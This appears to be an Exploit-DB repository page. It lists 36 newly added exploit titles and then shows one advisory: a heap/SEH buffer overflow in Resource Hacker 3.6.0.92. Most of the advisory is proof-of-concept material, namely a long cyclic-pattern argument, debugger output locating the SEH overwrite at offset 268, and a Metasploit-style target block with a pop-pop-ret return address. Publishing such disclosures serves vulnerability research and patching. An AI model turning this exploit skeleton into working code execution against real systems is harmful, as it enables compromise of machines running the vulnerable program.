
36 changes to exploits/shellcodes/ghdb MiniDVBLinux 5.4 - Change Root Password MiniDVBLinux 5.4 - Remote Root Command Injection MiniDVBLinux 5.4 - Arbitrary File Read MiniDVBLinux 5.4 - Unauthenticated Stream Disclosure MiniDVBLinux 5.4 Simple VideoDiskRecorder Protocol SVDRP - Remote Code Execution (RCE) MiniDVBLinux <=5.4 - Config Download Exploit Desktop Central 9.1.0 - Multiple Vulnerabilities FortiOS_ FortiProxy_ FortiSwitchManager v7.2.1 - Authentication Bypass Aero CMS v0.0.1 - PHP Code Injection (auth) Aero CMS v0.0.1 - SQL Injection (no auth) Atom CMS v2.0 - SQL Injection (no auth) Canteen-Management v1.0 - SQL Injection Canteen-Management v1.0 - XSS-Reflected Clansphere CMS 2011.4 - Stored Cross-Site Scripting (XSS) eXtplorer<= 2.1.14 - Authentication Bypass & Remote Code Execution (RCE) FlatCore CMS 2.1.1 - Stored Cross-Site Scripting (XSS) Webgrind 1.1 - Reflected Cross-Site Scripting (XSS) & Remote Command Execution (RCE) WebTareas 2.4 - RCE (Authorized) WebTareas 2.4 - Reflected XSS (Unauthorised) WebTareas 2.4 - SQL Injection (Unauthorised) WPN-XM Serverstack for Windows 0.8.6 - Multiple Vulnerabilities Zentao Project Management System 17.0 - Authenticated Remote Code Execution (RCE) Zoneminder < v1.37.24 - Log Injection & Stored XSS & CSRF Bypass Grafana <=6.2.4 - HTML Injection Hex Workshop v6.7 - Buffer overflow DoS Scdbg 1.0 - Buffer overflow DoS Sysax Multi Server 6.95 - 'Password' Denial of Service (PoC) AVS Audio Converter 10.3 - Stack Overflow (SEH) Explorer32++ v1.3.5.531 - Buffer overflow Frhed (Free hex editor) v1.6.0 - Buffer overflow Gestionale Open 12.00.00 - 'DB_GO_80' Unquoted Service Path Mediconta 3.7.27 - 'servermedicontservice' Unquoted Service Path Resource Hacker v3.6.0.92 - Buffer overflow Tftpd32_SE 4.60 - 'Tftpd32_svc' Unquoted Service Path WiFi Mouse 1.8.3.2 - Remote Code Execution (RCE)
47 lines
No EOL
1.5 KiB
Text
47 lines
No EOL
1.5 KiB
Text
# Exploit Title: Resource Hacker 3.6.0.92 - Buffer overflow
|
|
# Discovery by: Rafael Pedrero
|
|
# Discovery Date: 2022-01-06
|
|
# Vendor Homepage: http://www.angusj.com/resourcehacker/
|
|
# Software Link : http://www.angusj.com/resourcehacker/
|
|
# Tested Version: 3.6.0.92
|
|
# Tested on: Windows 10
|
|
|
|
CVSS v3: 7.3
|
|
CVSS vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
|
|
CWE: CWE-119
|
|
|
|
Heap-based buffer overflow controlling the Structured Exception Handler
|
|
(SEH) records in Reseource Hacker v3.6.0.92, and possibly other versions,
|
|
may allow attackers to execute arbitrary code via a long file name argument.
|
|
|
|
Proof of concept:
|
|
|
|
Open ResHacker.exe from command line with a large string in Arguments, more
|
|
than 268 chars:
|
|
|
|
File 'C:\ResourceHacker36\ResHacker.exe'
|
|
Arguments
|
|
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac...'
|
|
|
|
SEH chain of main thread
|
|
Address SE handler
|
|
0018FCB4 316A4130
|
|
6A413969 *** CORRUPT ENTRY ***
|
|
|
|
0BADF00D [+] Examining SEH chain
|
|
0BADF00D SEH record (nseh field) at 0x0018fcb4 overwritten with
|
|
normal pattern : 0x6a413969 (offset 268), followed by 12 bytes of cyclic
|
|
data after the handler
|
|
|
|
0BADF00D ------------------------------
|
|
'Targets' =>
|
|
[
|
|
[ '<fill in the OS/app version here>',
|
|
{
|
|
'Ret' => 0x00426446, #
|
|
pop eax # pop ebx # ret - ResHacker.exe (change this value from Mona,
|
|
with a not \x00 ret address)
|
|
'Offset' => 268
|
|
}
|
|
],
|
|
], |